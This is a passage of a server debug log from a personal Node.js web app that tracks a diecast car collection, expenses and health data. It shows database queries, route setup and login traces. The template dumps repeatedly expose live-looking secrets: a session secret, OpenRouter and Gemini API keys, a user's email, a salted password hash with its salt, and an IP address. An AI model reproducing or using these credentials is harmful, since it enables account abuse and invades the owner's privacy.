      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:05:49.544Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-12T13:05:53.312Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:05:53.313Z server-connect:app Executing action step identify
2026-02-12T13:05:53.313Z server-connect:app options: { provider: 'security' }
2026-02-12T13:05:53.313Z server-connect:output identity: 1
2026-02-12T13:05:53.313Z server-connect:app Executing action step restrict
2026-02-12T13:05:53.313Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:05:53.313Z server-connect:output restrict: undefined
2026-02-12T13:05:53.313Z server-connect:app Executing action step paged
2026-02-12T13:05:53.313Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:05:53.315Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-12T13:11:50.278Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-02-12T13:11:52.256Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-02-12T13:11:53.119Z server-connect:setup:upload Upload middleware configured.
2026-02-12T13:11:53.119Z server-connect:secure CSRF Protection initialized
2026-02-12T13:11:53.122Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-02-12T13:11:53.122Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-02-12T13:11:53.125Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-02-12T13:11:53.129Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-02-12T13:11:53.130Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-02-12T13:11:53.137Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-02-12T13:11:53.137Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-02-12T13:11:53.149Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-02-12T13:11:53.152Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-02-12T13:11:53.158Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-02-12T13:11:53.167Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-02-12T13:11:53.173Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-02-12T13:11:53.245Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-02-12T13:11:53.245Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-02-12T13:11:53.252Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2026-02-12T13:11:53.255Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2026-02-12T13:11:53.255Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2026-02-12T13:11:53.320Z server-connect:setup:routes Api route /api/health/log-set(.json)? created
2026-02-12T13:11:53.325Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2026-02-12T13:11:53.331Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2026-02-12T13:11:53.334Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2026-02-12T13:11:53.341Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2026-02-12T13:11:53.348Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-02-12T13:11:53.352Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-02-12T13:11:53.357Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-02-12T13:11:53.359Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-02-12T13:11:53.363Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-02-12T13:11:53.365Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-02-12T13:11:53.367Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-02-12T13:11:53.373Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-02-12T13:11:53.375Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-02-12T13:11:53.377Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-02-12T13:11:53.379Z server-connect:setup:routes Api route /api/test(.json)? created
2026-02-12T13:11:53.864Z server-connect:router Serving templateView /
2026-02-12T13:11:53.866Z server-connect:app Executing action step identify
2026-02-12T13:11:53.866Z server-connect:app options: { provider: 'security' }
2026-02-12T13:11:53.868Z server-connect:auth No login cookie found
2026-02-12T13:11:53.868Z server-connect:output identity: false
2026-02-12T13:11:53.868Z server-connect:app Executing action step restrict
2026-02-12T13:11:53.869Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:11:53.873Z server-connect:output restrict: undefined
2026-02-12T13:11:54.174Z server-connect:router Serving templateView /login
2026-02-12T13:11:54.174Z server-connect:app Executing action step identify
2026-02-12T13:11:54.174Z server-connect:app options: { provider: 'security' }
2026-02-12T13:11:54.175Z server-connect:auth No login cookie found
2026-02-12T13:11:54.175Z server-connect:output identity: false
2026-02-12T13:11:54.175Z server-connect:router Render template layouts/authentication
2026-02-12T13:11:54.175Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:11:54.172Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-12T13:12:04.050Z server-connect:router Serving templateView /
2026-02-12T13:12:04.051Z server-connect:app Executing action step identify
2026-02-12T13:12:04.051Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:04.051Z server-connect:auth No login cookie found
2026-02-12T13:12:04.051Z server-connect:output identity: false
2026-02-12T13:12:04.051Z server-connect:app Executing action step restrict
2026-02-12T13:12:04.051Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:12:04.052Z server-connect:output restrict: undefined
2026-02-12T13:12:04.281Z server-connect:router Serving templateView /login
2026-02-12T13:12:04.282Z server-connect:app Executing action step identify
2026-02-12T13:12:04.282Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:04.282Z server-connect:auth No login cookie found
2026-02-12T13:12:04.282Z server-connect:output identity: false
2026-02-12T13:12:04.282Z server-connect:router Render template layouts/authentication
2026-02-12T13:12:04.282Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:04.281Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-12T13:12:07.324Z server-connect:router Serving serverConnect /api/access-control/login
2026-02-12T13:12:07.324Z server-connect:app Executing action step identify
2026-02-12T13:12:07.325Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:07.375Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-02-12T13:12:07.380Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-12T13:12:07.438Z server-connect:output identity: 1
2026-02-12T13:12:07.438Z server-connect:app Executing action step login
2026-02-12T13:12:07.438Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-02-12T13:12:07.441Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-12T13:12:07.487Z server-connect:output identity: 1
2026-02-12T13:12:07.487Z server-connect:app Executing action step restrict
2026-02-12T13:12:07.487Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:12:07.489Z server-connect:output restrict: undefined
2026-02-12T13:12:07.744Z server-connect:router Serving templateView /
2026-02-12T13:12:07.745Z server-connect:app Executing action step identify
2026-02-12T13:12:07.745Z server-connect:app options: { provider: 'security' }
2026-02-12T13:12:07.745Z server-connect:output identity: 1
2026-02-12T13:12:07.745Z server-connect:app Executing action step restrict
2026-02-12T13:12:07.746Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:12:07.747Z server-connect:output restrict: undefined
2026-02-12T13:12:07.747Z server-connect:app Executing action step restrict
2026-02-12T13:12:07.747Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:12:07.748Z server-connect:output restrict: undefined
2026-02-12T13:12:07.748Z server-connect:router Render template layouts/main
2026-02-12T13:12:07.749Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
